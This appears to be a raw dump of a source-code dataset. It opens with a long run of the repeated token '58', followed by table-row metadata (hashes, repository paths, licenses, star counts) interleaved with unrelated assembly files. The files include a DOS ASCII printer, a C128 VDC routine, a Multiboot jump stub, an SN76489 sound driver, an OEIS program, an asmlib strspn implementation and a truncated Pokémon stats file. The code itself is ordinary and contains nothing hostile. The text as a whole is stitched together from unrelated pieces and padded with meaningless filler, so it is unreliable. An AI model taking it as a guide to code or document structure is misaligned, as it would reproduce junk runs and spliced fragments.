58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 33.547945 | 2,999 | 0.65605 |
e53a51169ed14e0bbd3a987ec63090a0f7c8baaa | 823 | asm | Assembly | Day-08/display_all_ASCII_characters.asm | MasumBhai/50-Day-challenge-with-Assembly-Language | aadeb6c4a022d089afb10fd22ffd2a768c32036e | [
"CC0-1.0"
] | 1 | 2021-04-07T09:50:40.000Z | 2021-04-07T09:50:40.000Z | Day-08/display_all_ASCII_characters.asm | MasumBhai/50-Day-challenge-with-Assembly-Language | aadeb6c4a022d089afb10fd22ffd2a768c32036e | [
"CC0-1.0"
] | null | null | null | Day-08/display_all_ASCII_characters.asm | MasumBhai/50-Day-challenge-with-Assembly-Language | aadeb6c4a022d089afb10fd22ffd2a768c32036e | [
"CC0-1.0"
] | null | null | null | ;Day 08 Date-17 april,2021
;problem - display the ASCII characters that display 10 characters per line
.model small
.stack 100h
include 'emu8086.inc'
.data
n_line db 0ah,0dh,"$" ;for new line
i db 0d
j db 0d
.code
main proc
mov ax,@data
mov ds,ax
mov cx,255 ;for loop counter
xor dx,dx ;clear bx register
@output:
cmp j,10d
je @new_line
mov dl,i
mov ah,2
int 21h
inc i
inc j
mov dl,32d ;for space
mov ah,2
int 21h
@check_point:
cmp i,255d
jae @stop
jb @output
@new_line:
mov j,0d
lea dx,n_line ;new line
mov ah,9
int 21h
jmp @check_point
@stop:
mov ah,4ch
int 21h ;terminate with return code
main endp
end main
| 16.137255 | 75 | 0.550425 |
fc8a81dafd00530d72248e5117503aa1bf77e066 | 1,081 | asm | Assembly | libsrc/c128/outvdc_callee.asm | Toysoft/z88dk | f930bef9ac4feeec91a07303b79ddd9071131a24 | [
"ClArtistic"
] | 8 | 2017-01-18T12:02:17.000Z | 2021-06-12T09:40:28.000Z | libsrc/c128/outvdc_callee.asm | Toysoft/z88dk | f930bef9ac4feeec91a07303b79ddd9071131a24 | [
"ClArtistic"
] | 1 | 2017-03-06T07:41:56.000Z | 2017-03-06T07:41:56.000Z | libsrc/c128/outvdc_callee.asm | Toysoft/z88dk | f930bef9ac4feeec91a07303b79ddd9071131a24 | [
"ClArtistic"
] | 3 | 2017-03-07T03:19:40.000Z | 2021-09-15T17:59:19.000Z | ;
;Based on the SG C Tools 1.7
;(C) 1993 Steve Goldsmith
;
;$Id: outvdc_callee.asm,v 1.4 2016-06-16 21:13:07 dom Exp $
;
;set vdc register
SECTION code_clib
PUBLIC outvdc_callee
PUBLIC _outvdc_callee
PUBLIC ASMDISP_OUTVDC_CALLEE
outvdc_callee:
_outvdc_callee:
pop hl
pop de
ex (sp),hl
asmentry:
ld a,l
ld bc,0d600h ;vdc status port
out (c),a ;set reg to read
test7:
in a,(c) ;repeat
bit 7,a ; test bit 7
jr z,test7 ;until bit 7 high
inc bc ;vdc data register
out (c),e ;set data
ret
;void outvdc(uchar RegNum, uchar RegVal)
;{
; outp(vdcStatusReg,RegNum); /* internal vdc register to write */
; while ((inp(vdcStatusReg) & 0x80) == 0x00); /* wait for status bit to be set */
; outp(vdcDataReg,RegVal); /* write register */
;}
DEFC ASMDISP_OUTVDC_CALLEE = # asmentry - outvdc_callee
| 26.365854 | 83 | 0.522664 |
3bcbd7ae57bba1eaba2a6ca6d029dd41d6f5fa98 | 914 | nasm | Assembly | BootloaderCommonPkg/Library/MultibootLib/Ia32/MultibootJump.nasm | kokweich/slimbootloader | 6fd1141c75a33894e3a7937dbc55859e4a6dacae | [
"BSD-2-Clause-NetBSD",
"PSF-2.0",
"BSD-2-Clause",
"Apache-2.0",
"MIT",
"BSD-2-Clause-Patent"
] | 1 | 2019-04-17T19:10:56.000Z | 2019-04-17T19:10:56.000Z | BootloaderCommonPkg/Library/MultibootLib/Ia32/MultibootJump.nasm | kokweich/slimbootloader | 6fd1141c75a33894e3a7937dbc55859e4a6dacae | [
"BSD-2-Clause-NetBSD",
"PSF-2.0",
"BSD-2-Clause",
"Apache-2.0",
"MIT",
"BSD-2-Clause-Patent"
] | null | null | null | BootloaderCommonPkg/Library/MultibootLib/Ia32/MultibootJump.nasm | kokweich/slimbootloader | 6fd1141c75a33894e3a7937dbc55859e4a6dacae | [
"BSD-2-Clause-NetBSD",
"PSF-2.0",
"BSD-2-Clause",
"Apache-2.0",
"MIT",
"BSD-2-Clause-Patent"
] | null | null | null | ;------------------------------------------------------------------------------
;
; Copyright (c) 2017, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Module Name:
;
; MultibootJump.nasm
;
; Abstract:
;
; This is the code that goes from payload to a Multiboot enabled OS.
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; VOID
; EFIAPI
; JumpToMultibootOs (
; IA32_BOOT_STATE state
; );
;------------------------------------------------------------------------------
global ASM_PFX(JumpToMultibootOs)
ASM_PFX(JumpToMultibootOs):
mov ecx, DWORD [esp + 4]
mov eax, DWORD [ecx + 4]
mov ebx, DWORD [ecx + 8]
mov esi, DWORD [ecx + 12]
mov edi, DWORD [ecx + 16]
cli
jmp DWORD [ecx]
ret
| 26.114286 | 79 | 0.415755 |
b65e9f5d290322b7870ea2a7b2aec862e8f0d316 | 7,823 | asm | Assembly | Source/HBIOS/sn76489.asm | vipoo/RomWBW | e463959fee431da2de3da962bd70cb0c556ffaed | [
"DOC",
"MIT"
] | null | null | null | Source/HBIOS/sn76489.asm | vipoo/RomWBW | e463959fee431da2de3da962bd70cb0c556ffaed | [
"DOC",
"MIT"
] | null | null | null | Source/HBIOS/sn76489.asm | vipoo/RomWBW | e463959fee431da2de3da962bd70cb0c556ffaed | [
"DOC",
"MIT"
] | null | null | null | ;======================================================================
; SN76489 sound driver
;
; WRITTEN BY: DEAN NETHERTON
;======================================================================
;
; TODO:
; 1. PROVIDE SUPPORT FOR NOISE CHANNEL
; 2. DOES THIS WORK FOR FASTER CPUS? ONLY BEEN TESTED ON A Z80 7MHZ UNIT
;
;======================================================================
; CONSTANTS
;======================================================================
;
SN76489_PORT_LEFT .EQU $FC ; PORTS FOR ACCESSING THE SN76489 CHIP (LEFT)
SN76489_PORT_RIGHT .EQU $F8 ; PORTS FOR ACCESSING THE SN76489 CHIP (RIGHT)
SN7_IDAT .EQU 0
SN7_TONECNT .EQU 3 ; COUNT NUMBER OF TONE CHANNELS
SN7_NOISECNT .EQU 1 ; COUNT NUMBER OF NOISE CHANNELS
SN7_CHCNT .EQU SN7_TONECNT + SN7_NOISECNT
CHANNEL_0_SILENT .EQU $9F
CHANNEL_1_SILENT .EQU $BF
CHANNEL_2_SILENT .EQU $DF
CHANNEL_3_SILENT .EQU $FF
SN7RATIO .EQU SN7CLK * 100 / 32
.ECHO "SN76489 CLOCK: "
.ECHO SN7CLK
.ECHO "\n"
#INCLUDE "audio.inc"
SN76489_INIT:
LD IY, SN7_IDAT ; POINTER TO INSTANCE DATA
LD DE,STR_MESSAGELT
CALL WRITESTR
LD A, SN76489_PORT_LEFT
CALL PRTHEXBYTE
LD DE,STR_MESSAGERT
CALL WRITESTR
LD A, SN76489_PORT_RIGHT
CALL PRTHEXBYTE
;
SN7_INIT1:
LD BC, SN7_FNTBL ; BC := FUNCTION TABLE ADDRESS
LD DE, SN7_IDAT ; DE := SN7 INSTANCE DATA PTR
CALL SND_ADDENT ; ADD ENTRY, A := UNIT ASSIGNED
CALL SN7_VOLUME_OFF
XOR A ; SIGNAL SUCCESS
RET
;======================================================================
; SN76489 DRIVER - SOUND ADAPTER (SND) FUNCTIONS
;======================================================================
;
SN7_RESET:
AUDTRACE(SNT_INIT)
CALL SN7_VOLUME_OFF
XOR A ; SIGNAL SUCCESS
RET
SN7_VOLUME_OFF:
AUDTRACE(SNT_VOLOFF)
LD A, CHANNEL_0_SILENT
OUT (SN76489_PORT_LEFT), A
OUT (SN76489_PORT_RIGHT), A
LD A, CHANNEL_1_SILENT
OUT (SN76489_PORT_LEFT), A
OUT (SN76489_PORT_RIGHT), A
LD A, CHANNEL_2_SILENT
OUT (SN76489_PORT_LEFT), A
OUT (SN76489_PORT_RIGHT), A
LD A, CHANNEL_3_SILENT
OUT (SN76489_PORT_LEFT), A
OUT (SN76489_PORT_RIGHT), A
RET
; BIT MAPPING
; SET TONE:
; 1 CC 0 PPPP (LOW)
; 0 0 PPPPPP (HIGH)
; 1 CC 1 VVVV
SN7_VOLUME:
AUDTRACE(SNT_VOL)
AUDTRACE_L
AUDTRACE_CR
LD A, L
LD (SN7_PENDING_VOLUME), A
XOR A ; SIGNAL SUCCESS
RET
SN7_NOTE:
LD DE, SN7NOTETBL
CALL AUD_NOTE ; RETURNS PERIOD IN HL, FALL THRU
; TO SET THIS PERIOD
SN7_PERIOD:
AUDTRACE(SNT_PERIOD)
AUDTRACE_HL
AUDTRACE_CR
LD A, H ; IF ZERO - ERROR
OR L
JR Z, SN7_QUERY_PERIOD1
LD (SN7_PENDING_PERIOD), HL ;ASSUME SUCCESS
OR A ; IF >= 401 ERROR
LD DE, $401
SBC HL, DE
JR NC, SN7_QUERY_PERIOD1
XOR A ; SIGNAL SUCCESS
RET
SN7_QUERY_PERIOD1: ; REQUESTED PERIOD IS LARGER THAN THE SN76489 CAN SUPPORT
LD A, $FF
LD L, A
LD H, A
LD (SN7_PENDING_PERIOD), HL
RET
SN7_PLAY:
AUDTRACE(SNT_PLAY)
AUDTRACE_D
AUDTRACE_CR
LD A, (SN7_PENDING_PERIOD + 1)
CP $FF
JR Z, SN7_PLAY1 ; PERIOD IS TOO LARGE, UNABLE TO PLAY
CALL SN7_APPLY_VOL
CALL SN7_APPLY_PRD
XOR A ; SIGNAL SUCCESS
RET
SN7_PLAY1: ; TURN CHANNEL VOL TO OFF AND STOP PLAYING
LD A, (SN7_PENDING_VOLUME)
PUSH AF
LD A, 0
LD (SN7_PENDING_VOLUME), A
CALL SN7_APPLY_VOL
POP AF
LD (SN7_PENDING_VOLUME), A
OR $FF ; SIGNAL FAILURE
RET
SN7_QUERY:
LD A, E
CP BF_SNDQ_CHCNT
JR Z, SN7_QUERY_CHCNT
CP BF_SNDQ_PERIOD
JR Z, SN7_QUERY_PERIOD
CP BF_SNDQ_VOLUME
JR Z, SN7_QUERY_VOLUME
CP BF_SNDQ_DEV
JR Z, SN7_QUERY_DEV
OR $FF ; SIGNAL FAILURE
RET
SN7_QUERY_CHCNT:
LD B, SN7_TONECNT
LD C, SN7_NOISECNT
XOR A
RET
SN7_QUERY_PERIOD:
LD HL, (SN7_PENDING_PERIOD)
XOR A
RET
SN7_QUERY_VOLUME:
LD A, (SN7_PENDING_VOLUME)
LD L, A
LD H, 0
XOR A
RET
SN7_QUERY_DEV:
LD B, SNDDEV_SN76489
LD DE, SN76489_PORT_LEFT ; E WITH LEFT PORT
LD HL, SN76489_PORT_RIGHT ; L WITH RIGHT PORT
XOR A
RET
;
; UTIL FUNCTIONS
;
SN7_APPLY_VOL: ; APPLY VOLUME TO BOTH LEFT AND RIGHT CHANNELS
PUSH BC ; D CONTAINS THE CHANNEL NUMBER
PUSH AF
LD A, D
AND $3
RLCA
RLCA
RLCA
RLCA
RLCA
OR $90
LD B, A
LD A, (SN7_PENDING_VOLUME)
RRCA
RRCA
RRCA
RRCA
AND $0F
LD C, A
LD A, $0F
SUB C
AND $0F
OR B ; A CONTAINS COMMAND TO SET VOLUME FOR CHANNEL
AUDTRACE(SNT_REGWR)
AUDTRACE_A
AUDTRACE_CR
OUT (SN76489_PORT_LEFT), A
OUT (SN76489_PORT_RIGHT), A
POP AF
POP BC
RET
SN7_APPLY_PRD:
PUSH DE
PUSH BC
PUSH AF
LD HL, (SN7_PENDING_PERIOD)
LD A, D
AND $3
RLCA
RLCA
RLCA
RLCA
RLCA
OR $80
LD B, A ; PERIOD COMMAND 1 - CONTAINS CHANNEL ONLY
LD A, L ; GET LOWER 4 BITS FOR COMMAND 1
AND $F
OR B ; A NOW CONTAINS FIRST PERIOD COMMAND
AUDTRACE(SNT_REGWR)
AUDTRACE_A
AUDTRACE_CR
OUT (SN76489_PORT_LEFT), A
OUT (SN76489_PORT_RIGHT), A
LD A, L ; RIGHT SHIFT OUT THE LOWER 4 BITS
RRCA
RRCA
RRCA
RRCA
AND $F
LD B, A
LD A, H
AND $3
RLCA
RLCA
RLCA
RLCA ; AND PLACE IN BITS 5 AND 6
OR B ; OR THE TWO SETS OF BITS TO MAKE 2ND PERIOD COMMAND
AUDTRACE(SNT_REGWR)
AUDTRACE_A
AUDTRACE_CR
OUT (SN76489_PORT_LEFT), A
OUT (SN76489_PORT_RIGHT), A
POP AF
POP BC
POP DE
RET
SN7_DURATION:
LD (SN7_PENDING_DURATION),HL ; SET TONE DURATION
XOR A
RET
SN7_DEVICE:
LD D,SNDDEV_SN76489 ; D := DEVICE TYPE
LD E,0 ; E := PHYSICAL UNIT
LD C,$00 ; C := DEVICE TYPE
LD H,0 ; H := 0, DRIVER HAS NO MODES
LD L,SN76489_PORT_LEFT ; L := BASE I/O ADDRESS
XOR A
RET
SN7_FNTBL:
.DW SN7_RESET
.DW SN7_VOLUME
.DW SN7_PERIOD
.DW SN7_NOTE
.DW SN7_PLAY
.DW SN7_QUERY
.DW SN7_DURATION
.DW SN7_DEVICE
;
#IF (($ - SN7_FNTBL) != (SND_FNCNT * 2))
.ECHO "*** INVALID SND FUNCTION TABLE ***\n"
!!!!!
#ENDIF
SN7_PENDING_PERIOD
.DW 0 ; PENDING PERIOD (10 BITS)
SN7_PENDING_VOLUME
.DB 0 ; PENDING VOL (8 BITS -> DOWNCONVERTED TO 4 BITS AND INVERTED)
SN7_PENDING_DURATION
.DW 0 ; PENDING DURATION (16 BITS)
STR_MESSAGELT .DB "\r\nSN76489: LEFT IO=0x$"
STR_MESSAGERT .DB ", RIGHT IO=0x$"
#IF AUDIOTRACE
SNT_INIT .DB "\r\nSN7_INIT\r\n$"
SNT_VOLOFF .DB "\r\nSN7_VOLUME OFF\r\n$"
SNT_VOL .DB "\r\nSN7_VOLUME: $"
SNT_NOTE .DB "\r\nSN7_NOTE: $"
SNT_PERIOD .DB "\r\nSN7_PERIOD: $"
SNT_PLAY .DB "\r\nSN7_PLAY CH: $"
SNT_REGWR .DB "\r\nOUT SN76489, $"
#ENDIF
; THE FREQUENCY BY QUARTER TONE STARTING AT A0# OCATVE 0
; USED TO MAP EACH OCTAVE (DIV BY 2 TO JUMP AN OCTAVE UP)
; FIRST PLAYABLE NOTE WILL BE $2E
; ASSUMING A CLOCK OF 1843200 THIS MAPS TO
; 2 QUATER TONES BELOW A1#, WITH A1# AT $30
SN7NOTETBL:
.DW SN7RATIO / 2913
.DW SN7RATIO / 2956
.DW SN7RATIO / 2999
.DW SN7RATIO / 3042
.DW SN7RATIO / 3086
.DW SN7RATIO / 3131
.DW SN7RATIO / 3177
.DW SN7RATIO / 3223
.DW SN7RATIO / 3270
.DW SN7RATIO / 3318
.DW SN7RATIO / 3366
.DW SN7RATIO / 3415
.DW SN7RATIO / 3464
.DW SN7RATIO / 3515
.DW SN7RATIO / 3566
.DW SN7RATIO / 3618
.DW SN7RATIO / 3670
.DW SN7RATIO / 3724
.DW SN7RATIO / 3778
.DW SN7RATIO / 3833
.DW SN7RATIO / 3889
.DW SN7RATIO / 3945
.DW SN7RATIO / 4003
.DW SN7RATIO / 4061
.DW SN7RATIO / 4120
.DW SN7RATIO / 4180
.DW SN7RATIO / 4241
.DW SN7RATIO / 4302
.DW SN7RATIO / 4365
.DW SN7RATIO / 4428
.DW SN7RATIO / 4493
.DW SN7RATIO / 4558
.DW SN7RATIO / 4624
.DW SN7RATIO / 4692
.DW SN7RATIO / 4760
.DW SN7RATIO / 4829
.DW SN7RATIO / 4899
.DW SN7RATIO / 4971
.DW SN7RATIO / 5043
.DW SN7RATIO / 5116
.DW SN7RATIO / 5191
.DW SN7RATIO / 5266
.DW SN7RATIO / 5343
.DW SN7RATIO / 5421
.DW SN7RATIO / 5499
.DW SN7RATIO / 5579
.DW SN7RATIO / 5661
.DW SN7RATIO / 5743
| 19.268473 | 79 | 0.627509 |
db138dd7e27847c9639589c389ec3645527487a0 | 459 | asm | Assembly | programs/oeis/274/A274009.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/274/A274009.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/274/A274009.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A274009: 1's distance from a number in its binary expansion.
; 1,0,2,1,2,1,3,2,2,1,3,2,3,2,4,3,2,1,3,2,3,2,4,3,3,2,4,3,4,3,5,4,2,1,3,2,3,2,4,3,3,2,4,3,4,3,5,4,3,2,4,3,4,3,5,4,4,3,5,4,5,4,6,5,2,1,3,2,3,2,4,3,3,2,4,3,4,3,5,4,3,2,4,3,4,3,5,4,4,3
mov $4,$0
div $4,2
mov $3,$4
mov $5,1
add $5,$0
mov $6,1
lpb $6
sub $6,1
lpb $4
div $4,2
sub $3,$4
lpe
mov $1,$3
mov $2,$5
lpb $2
gcd $2,2
lpe
sub $1,$2
lpe
add $4,3
add $1,$4
sub $1,1
| 17.653846 | 181 | 0.520697 |
eee3966fcea9d554e4549b753bd2b76dd89aaabe | 142 | asm | Assembly | src/main/fragment/mos6502-common/vdum1=vdum1_minus_vduc1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/vdum1=vdum1_minus_vduc1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/vdum1=vdum1_minus_vduc1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | lda {m1}
sec
sbc #<{c1}
sta {m1}
lda {m1}+1
sbc #>{c1}
sta {m1}+1
lda {m1}+2
sbc #<{c1}>>$10
sta {m1}+2
lda {m1}+3
sbc #>{c1}>>$10
sta {m1}+3
| 10.142857 | 15 | 0.514085 |
09b638b96430803604c859c7bec84bf9022b673d | 9,605 | asm | Assembly | tp/libs/asmlib/strspn64.asm | pg83/zm | ef9027bd9ee260118fdf80e8b53361da1b7892f3 | [
"MIT"
] | null | null | null | tp/libs/asmlib/strspn64.asm | pg83/zm | ef9027bd9ee260118fdf80e8b53361da1b7892f3 | [
"MIT"
] | null | null | null | tp/libs/asmlib/strspn64.asm | pg83/zm | ef9027bd9ee260118fdf80e8b53361da1b7892f3 | [
"MIT"
] | null | null | null | %include "defs.asm"
;************************* strspn64.asm ************************************
; Author: Agner Fog
; Date created: 2011-07-19
; Last modified: 2011-07-19
; Description:
; Faster version of the standard strspn and strcspn functions:
; size_t A_strspn (const char * str, const char * set);
; size_t A_strcspn(const char * str, const char * set);
;
; A_strspn finds the length of the initial portion of str which consists only of
; characters that are part of set.
; A_strcspn finds the length of the initial portion of str which consists only of
; characters that are not part of set.
;
; Note that these functions may read up to 15 bytes beyond the end of the strings.
; This is rarely a problem but it can in principle generate a protection violation
; if a string is placed at the end of the data segment.
;
; Overriding standard functions strspn and strcspn:
; Overriding is disabled because the functions may read beyond the end of a string,
; while the standard strspn and strcspn functions are guaranteed to work in all cases.
;
; Position-independent code is generated if POSITIONINDEPENDENT is defined.
;
; CPU dispatching included for 386 and SSE4.2 instruction sets.
;
; Copyright (c) 2011 GNU General Public License www.gnu.org/licenses
;******************************************************************************
default rel
global A_strspn: function
global A_strcspn: function
; Direct entries to CPU-specific versions
global strspnGeneric: function
global strcspnGeneric: function
global strspnSSE42: function
global strcspnSSE42: function
; Imported from instrset64.asm:
extern InstructionSet ; Instruction set for CPU dispatcher
section .text
;******************************************************************************
; strspn function
;******************************************************************************
%if ALLOW_OVERRIDE
global EXP(strspn): function
EXP(strspn):
%endif
align 16
A_strspn: ; function dispatching
jmp near [strspnDispatch] ; Go to appropriate version, depending on instruction set
strspnSSE42: ; SSE4.2 version
%ifdef WINDOWS
push rdi
push rsi
mov rdi, rcx ; str
mov rsi, rdx ; set
%endif
mov r8, rsi
xor ecx, ecx ; span counter
str_next:
movdqu xmm2, [rdi] ; str
movdqu xmm1, [rsi] ; set
pcmpistrm xmm1, xmm2, 00000000b; find in set, return bit mask in xmm0
movd eax, xmm0
jns set_extends
set_finished:
cmp ax, -1
jne str_finished
; first 16 characters matched, continue with next 16 characters (a terminating zero would never match)
add rdi, 16 ; next 16 bytes of str
add rcx, 16 ; count span
jmp str_next
str_finished:
not eax
bsf eax, eax
add rax, rcx
%ifdef WINDOWS
pop rsi
pop rdi
%endif
ret
set_loop:
or eax, edx ; accumulate matches
set_extends: ; the set is more than 16 bytes
add rsi, 16
movdqu xmm1, [rsi] ; next part of set
pcmpistrm xmm1, xmm2, 00000000b; find in set, return bit mask in xmm0
movd edx, xmm0
jns set_loop
mov rsi, r8 ; restore set pointer
or eax, edx ; accumulate matches
jmp set_finished
;******************************************************************************
; strcspn function
;******************************************************************************
%if ALLOW_OVERRIDE
global EXP(strcspn): function
EXP(strcspn):
%endif
align 16
A_strcspn: ; function dispatching
jmp near [strcspnDispatch] ; Go to appropriate version, depending on instruction set
strcspnSSE42: ; SSE4.2 version
%ifdef WINDOWS
push rdi
push rsi
mov rdi, rcx ; str
mov rsi, rdx ; set
%endif
mov r8, rsi
xor ecx, ecx ; span counter
str_next2:
movdqu xmm2, [rdi] ; str
movdqu xmm1, [rsi] ; set
pcmpistrm xmm1, xmm2, 00110000b; find in set, invert valid bits, return bit mask in xmm0
movd eax, xmm0
jns set_extends2
set_finished2:
cmp ax, -1
jne str_finished2
; first 16 characters matched, continue with next 16 characters (a terminating zero would never match)
add rdi, 16 ; next 16 bytes of str
add rcx, 16 ; count span
jmp str_next2
str_finished2:
not eax
bsf eax, eax
add rax, rcx
%ifdef WINDOWS
pop rsi
pop rdi
%endif
ret
set_loop2:
and eax, edx ; accumulate matches
set_extends2: ; the set is more than 16 bytes
add rsi, 16
movdqu xmm1, [rsi] ; next part of set
pcmpistrm xmm1, xmm2, 00110000b; find in set, invert valid bits, return bit mask in xmm0
movd edx, xmm0
jns set_loop2
mov rsi, r8 ; restore set pointer
and eax, edx ; accumulate matches
jmp set_finished2
;******************************************************************************
; strspn function generic
;******************************************************************************
align 8
strspnGeneric: ; Generic version
%ifdef WINDOWS
push rdi
push rsi
mov rdi, rcx ; str
mov rsi, rdx ; set
%endif
mov r8, rsi
mov r9, rdi
str_next10:
mov al, [rdi] ; read one byte from str
test al, al
jz str_finished10 ; str finished
set_next10:
mov dl, [rsi]
test dl, dl
jz set_finished10
inc rsi
cmp al, dl
jne set_next10
; character match found, goto next character
inc rdi
mov rsi, r8 ; set pointer
jmp str_next10
str_finished10: ; end of str, all match
set_finished10: ; end of set, mismatch found
sub rdi, r9 ; calculate position
mov rax, rdi
%ifdef WINDOWS
pop rsi
pop rdi
%endif
ret
;_strspnGeneric end
align 8
strcspnGeneric: ; Generic version
%ifdef WINDOWS
push rdi
push rsi
mov rdi, rcx ; str
mov rsi, rdx ; set
%endif
mov r8, rsi
mov r9, rdi
str_next20:
mov al, [rdi] ; read one byte from str
test al, al
jz str_finished20 ; str finished
set_next20:
mov dl, [rsi]
test dl, dl
jz set_finished20
inc rsi
cmp al, dl
jne set_next20
; character match found, stop search
jmp str_finished20
set_finished20: ; end of set, mismatch found
inc rdi
mov rsi, r8 ; set pointer
jmp str_next20
str_finished20: ; end of str, all match
sub rdi, r9 ; calculate position
mov rax, rdi
%ifdef WINDOWS
pop rsi
pop rdi
%endif
ret
;_strcspnGeneric end
; ********************************************************************************
; CPU dispatching for strspn. This is executed only once
; ********************************************************************************
%ifdef WINDOWS
%define par1 rcx
%define par2 rdx
%else ; UNIX
%define par1 rdi
%define par2 rsi
%endif
strspnCPUDispatch:
; get supported instruction set
push par1
push par2
call InstructionSet
pop par2
pop par1
; Point to generic version of strstr
lea r8, [strspnGeneric]
cmp eax, 10 ; check SSE4.2
jb Q100
; SSE4.2 supported
; Point to SSE4.2 version of strstr
lea r8, [strspnSSE42]
Q100: mov [strspnDispatch], r8
; Continue in appropriate version
jmp r8
strcspnCPUDispatch:
; get supported instruction set
push par1
push par2
call InstructionSet
pop par2
pop par1
; Point to generic version of strstr
lea r8, [strcspnGeneric]
cmp eax, 10 ; check SSE4.2
jb Q200
; SSE4.2 supported
; Point to SSE4.2 version of strstr
lea r8, [strcspnSSE42]
Q200: mov [strcspnDispatch], r8
; Continue in appropriate version
jmp r8
SECTION .data
; Pointer to appropriate versions. Initially point to dispatcher
strspnDispatch DQ strspnCPUDispatch
strcspnDispatch DQ strcspnCPUDispatch
SECTION .bss
dq 0, 0
| 31.286645 | 111 | 0.497762 |
11f8954cacda2664c238eae5c1526db3b41984f3 | 571 | asm | Assembly | data/baseStats_original/girafarig.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | data/baseStats_original/girafarig.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | data/baseStats_original/girafarig.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | db DEX_GIRAFARIG ; pokedex id
db 70 ; base hp
db 80 ; base attack
db 65 ; base defense
